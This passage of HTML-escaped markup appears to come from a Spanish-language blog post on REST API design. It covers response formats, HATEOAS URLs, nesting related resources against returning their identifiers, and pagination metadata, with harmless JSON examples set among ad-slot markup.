6px;&#xA;    margin-bottom: 10px;&#xA;    object-fit: cover;&#xA;  }&#xA;&#xA;  .ad-title {&#xA;    font-size: 0.9rem;&#xA;    font-weight: 600;&#xA;    margin: 0 0 6px 0;&#xA;    color: var(--secondary-text);&#xA;    line-height: 1.3;&#xA;  }&#xA;&#xA;  .ad-description {&#xA;    font-size: 0.75rem;&#xA;    color: var(--secondary-text);&#xA;    margin: 0 0 10px 0;&#xA;    line-height: 1.4;&#xA;    display: -webkit-box;&#xA;    -webkit-line-clamp: 2;&#xA;    -webkit-box-orient: vertical;&#xA;    overflow: hidden;&#xA;  }&#xA;&#xA;  .ad-link-button {&#xA;    display: inline-block;&#xA;    padding: 8px 12px;&#xA;    background: #ffa41c;&#xA;    color: #111;&#xA;    text-decoration: none;&#xA;    border-radius: 4px;&#xA;    font-size: 0.8rem;&#xA;    font-weight: 500;&#xA;    transition: background 0.2s ease, opacity 0.2s ease;&#xA;    width: 100%;&#xA;    box-sizing: border-box;&#xA;    text-align: center;&#xA;  }&#xA;&#xA;  .ad-link-button:hover {&#xA;    background: #f08804;&#xA;    opacity: 1;&#xA;  }&#xA;&#xA;  @media (max-width: 768px) {&#xA;    .ads-panels-sticky,&#xA;    .ad-panel,&#xA;    #ads-panels-container {&#xA;      display: none;&#xA;      visibility: hidden;&#xA;      opacity: 0;&#xA;      z-index:1;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 1024px) {&#xA;    .ads-panels-sticky {&#xA;      position: static;&#xA;      flex-direction: row;&#xA;      flex-wrap: wrap;&#xA;      justify-content: center;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 200px;&#xA;      flex: 0 0 auto;&#xA;    }&#xA;  }&#xA;&#xA;  @media (max-width: 600px) {&#xA;    .ads-panels-sticky {&#xA;      flex-direction: column;&#xA;    }&#xA;&#xA;    .ad-panel {&#xA;      max-width: 100%;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8672022193&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8672022193&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-8672022193{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;    .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8672022193 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;api-estilo-facebook&#34;&gt;API estilo Facebook&lt;/h3&gt;&#xA;&lt;p&gt;Por otro lado, en Facebook, la sintaxis para recursos individuales luce así, igual a la de Twitter:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Mientras que una respuesta para recursos múltiples es así:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;:[&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;¿A quien hacerle caso? Como puedes ver diferencias entre compañias y no se si me atrevería a decirte que una u otra es correcta, pero considero que si te mantienes constante en cada uno de tus endpoints y lo documentas bien, no deberías tener problemas.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-1124666671&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;1124666671&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;&#xA;  .google-ads-container-1124666671{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;        .banner{&#xA;      width: 273px;&#xA;      height: 34px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-1124666671 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;h2 id=&#34;urls-relativas-o-completas-en-hateoas&#34;&gt;¿URLs relativas o completas en HATEOAS?&lt;/h2&gt;&#xA;&lt;p&gt;¿Recuerdas que HATEOAS es una &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;https://coffeebytes.dev/es/software-architecture/caracteristicas-basicas-de-una-api-rest/&#34;&gt;característica de las APIs REST&lt;/a&gt;&#xA;? Pues, según lo que he investigado, no hay un consenso claro ni una postura oficial sobre si es mejor incluir URLs relativas o completas. Hay mucho debate al respecto en stackoverflow, pero microsoft usa URLs completas en sus respuestas, tómalo en cuenta cuando diseñes tu API REST.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;{&lt;/span&gt;&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;rel&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;self&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;href&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://adventure-works.com/customers/2&amp;#34;&lt;/span&gt;&lt;span style=&#34;color:#ff6ac1&#34;&gt;}&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;objetos-anidados-en-la-respuesta&#34;&gt;Objetos anidados en la respuesta&lt;/h2&gt;&#xA;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-5272667386&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;5272667386&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-5272667386{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-5272667386 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&lt;p&gt;Generalmente una API no retorna recursos individuales, sino recursos que están relacionados con otros recursos a nivel base de datos por relaciones uno a uno, muchos a muchos o uno a muchos. La pregunta aquí es: ¿los incluimos en la respuesta aunque esto aumente su tamaño? ¿ponemos solo los identificadores y los descargamos después? Depende.&lt;/p&gt;&#xA;&lt;h3 id=&#34;identificadores-en-la-respuesta&#34;&gt;Identificadores en la respuesta&lt;/h3&gt;&#xA;&lt;p&gt;Esta aproximación al problema necesitará que si el usuario requiere acceder a la información, se descargue posteriormente. Es ideal para datos que casi no se consultan o muy numerosos.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;posts&amp;#34;&lt;/span&gt;: [{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;comments&amp;#34;&lt;/span&gt;: [&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;,&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Esto puede traerte el problema de las n+1 queries si no lo manejas bien; considera el ejemplo anterior, cada solicitud a un post implica una nueva petición a la base de datos para obtener cada comentario.&lt;/p&gt;&#xA;&lt;p&gt;Por supuesto que eso puede arreglarse optimizando tus búsquedas de manera que, en lugar de obtenerlos individualmente, los obtengas en una sola query.&lt;/p&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;google-ads-container-8811585000&#34;&gt;&#xA;  &lt;ins class=&#34;adsbygoogle&#34;&#xA;      style=&#34;display:block; text-align:center;&#34;&#xA;      data-ad-layout=&#34;in-article&#34;&#xA;      data-ad-format=&#34;fluid&#34;&#xA;      data-ad-client=&#34;ca-pub-4250730649804995&#34;&#xA;      data-ad-slot=&#34;8811585000&#34;&gt;&lt;/ins&gt;&#xA;  &lt;script&gt;&#xA;      (adsbygoogle = window.adsbygoogle || []).push({});&#xA;  &lt;/script&gt;&#xA;&lt;/div&gt;&#xA;&#xA;&#xA;&#xA;&lt;style&gt;&#xA;  .google-ads-container-8811585000{&#xA;    background-color: transparent;&#xA;    width: 100%;&#xA;    height: 90px;&#xA;  }&#xA;  @media (max-width: 720px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 480px;&#xA;    }&#xA;  }&#xA;    @media (max-width: 480px) {&#xA;    .google-ads-container-8811585000 {&#xA;      height: 280px;&#xA;      width: 300px;&#xA;    }&#xA;  }&#xA;&lt;/style&gt;&#xA;&#xA;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;GET&lt;/span&gt; &lt;span style=&#34;color:#ff5c57&#34;&gt;/comments/&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;&lt;span style=&#34;color:#ff5c57&#34;&gt;,&lt;/span&gt;&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id=&#34;recursos-en-la-respuesta&#34;&gt;Recursos en la respuesta&lt;/h3&gt;&#xA;&lt;p&gt;También es posible añadir directamente los objetos relacionados en una única respuesta, para evitar tener que nuestro usuario deba descargarlos posteriormente. Esto hará que cada respuesta demore un poco más, pues el servidor procesará más información, pero puede ahorrar peticiones posteriores a la API.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;posts&amp;#34;&lt;/span&gt;:[&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;title&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;comments&amp;#34;&lt;/span&gt;:[&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;2&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;...&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;3&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;...&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          },&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;id&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ff9f43&#34;&gt;4&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;text&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;...&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;          }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ]&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si quieres flexibilidad considera crear un endpoint donde puedas indicarle a tu API que recursos quieres anidar de manera explícita en la url, para que solo se integren en la respuesta si son solicitados.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;GET /posts/1?embed&lt;span style=&#34;color:#ff6ac1&#34;&gt;=&lt;/span&gt;comments&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;paginacion-en-las-api&#34;&gt;Paginación en las API&lt;/h2&gt;&#xA;&lt;p&gt;Como ya te he mencionado en entradas anteriores cuando hablé de &#xA;&#xA;&lt;a class=&#34;markdown-link&#34; href=&#34;%28https://coffeebytes.dev/es/software-architecture/como-escalar-django-para-manejar-millones-de-vistas/%29&#34;&gt;como escalar una aplicación de Django&lt;/a&gt;&#xA;, no siempre querrás devolverle toda la base de datos a tus usuarios en cada petición. Para base de datos grandes es mejor fraccionar la respuesta en páginas, con un número limitado de elementos por cada página.&lt;/p&gt;&#xA;&lt;p&gt;Para facilitar el uso de tu API, considera añadir la información relacionada a la paginación en tu respuesta:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;El total de elementos&lt;/li&gt;&#xA;&lt;li&gt;La cantidad de elementos por página&lt;/li&gt;&#xA;&lt;li&gt;El total de páginas&lt;/li&gt;&#xA;&lt;li&gt;La página actual&lt;/li&gt;&#xA;&lt;li&gt;Una url a la página previa (en caso de que exista)&lt;/li&gt;&#xA;&lt;li&gt;Una url a la página siguiente (en caso de que exista)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Así como cualquier otro dato que consideres pertinente.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#e2e4e5;background-color:#282a36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;data&amp;#34;&lt;/span&gt;: [&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;         {}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;pagination&amp;#34;&lt;/span&gt;: {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;total&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;60&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;items_per_page&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;12&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;current_page&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;1&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;total_pages&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ff9f43&#34;&gt;5&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#ff6ac1&#34;&gt;&amp;#34;next_url&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#5af78e&#34;&gt;&amp;#34;https://api.example.com/items?page=2&amp;#34;&lt;/span&gt;,&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;versionado-de-apis&#34;&gt;Versionado de APIs&lt;/h2&gt;&#xA;&lt;p&gt;Las APIs no son estáticas, cambian con las necesidades del negocio, por lo que pueden cambiar con el tiempo. Es importante que los consumidores de tu API estén al tanto de esos cambios, por lo que versionar tu API es una excelente idea.&lt;/p&gt;&#xA;&lt;h3 id=&#34;deberia-versionar-mi-api&#34;&gt;¿Debería versionar mi 